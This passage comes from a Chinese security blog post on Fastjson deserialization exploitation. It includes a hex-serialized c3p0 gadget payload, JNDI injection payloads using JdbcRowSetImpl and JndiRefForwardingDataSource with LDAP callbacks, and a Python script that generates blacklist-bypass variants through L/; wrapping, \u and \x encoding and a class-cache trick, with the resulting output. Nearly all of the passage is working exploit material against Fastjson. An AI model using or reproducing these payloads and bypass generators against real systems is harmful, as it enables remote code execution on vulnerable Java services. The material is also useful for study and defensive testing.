   "userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
 }
}

payload7:
{
 "rand1": {
   "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
   "jndiName": "ldap://localhost:1389/Object",
   "loginTimeout": 0
 }
}


...還有很多

下面是個小指令碼,可以將基礎payload轉出各種繞過的變形態,還增加了\u、\x編碼形式

#!usr/bin/env python  

# -*- coding:utf-8 -*-"""
@author: longofo
@file: fastjson_fuzz.py
@time: 2020/05/07 """import jsonfrom json import JSONDecodeErrorclass FastJsonPayload:
   def __init__(self, base_payload):
       try:
           json.loads(base_payload)
       except JSONDecodeError as ex:
           raise ex
       self.base_payload = base_payload    def gen_common(self, payload, func):
       tmp_payload = json.loads(payload)
       dct_objs = [tmp_payload]

       while len(dct_objs) > 0:
           tmp_objs = []
           for dct_obj in dct_objs:
               for key in dct_obj:
                   if key == "@type":
                       dct_obj[key] = func(dct_obj[key])

                   if type(dct_obj[key]) == dict:
                       tmp_objs.append(dct_obj[key])
           dct_objs = tmp_objs        return json.dumps(tmp_payload)

   # 對@type的value增加L開頭,;結尾的payload    def gen_payload1(self, payload: str):
       return self.gen_common(payload, lambda v: "L" + v + ";")

   # 對@type的value增加LL開頭,;;結尾的payload    def gen_payload2(self, payload: str):
       return self.gen_common(payload, lambda v: "LL" + v + ";;")

   # 對@type的value進行\u    def gen_payload3(self, payload: str):
       return self.gen_common(payload,
                              lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

   # 對@type的value進行\x    def gen_payload4(self, payload: str):
       return self.gen_common(payload,
                              lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

   # 生成cache繞過payload    def gen_payload5(self, payload: str):
       cache_payload = {
           "rand1": {
               "@type": "java.lang.Class",
               "val": "com.sun.rowset.JdbcRowSetImpl"
           }
       }
       cache_payload["rand2"] = json.loads(payload)
       return json.dumps(cache_payload)

   def gen(self):
       payloads = []

       payload1 = self.gen_payload1(self.base_payload)
       yield payload1

       payload2 = self.gen_payload2(self.base_payload)
       yield payload2

       payload3 = self.gen_payload3(self.base_payload)
       yield payload3

       payload4 = self.gen_payload4(self.base_payload)
       yield payload4

       payload5 = self.gen_payload5(self.base_payload)
       yield payload5

       payloads.append(payload1)
       payloads.append(payload2)
       payloads.append(payload5)

       for payload in payloads:
           yield self.gen_payload3(payload)
           yield self.gen_payload4(payload)if __name__ == '__main__':
   fjp = FastJsonPayload('''{
 "rand1": {
   "@type": "com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName": "ldap://localhost:1389/Object",
   "autoCommit": true  }}''')

   for payload in fjp.gen():
       print(payload)
       print()


例如JdbcRowSetImpl結果:


{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

有些師傅也透過掃描maven倉庫包來尋找符合jackson、fastjson的惡意利用類,似乎大多數都是在尋找jndi型別的漏洞。對於跑黑名單,可以看下這個 ,跑到1.2.62版本了,跑出來了大多數黑名單,不過很多都是包,具體哪個類還得去包中一一尋找。

參考連結

  1. ...

太多了,感謝師傅們的辛勤記錄。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2691819/,如需轉載,請註明出處,否則將追究法律責任。

相關文章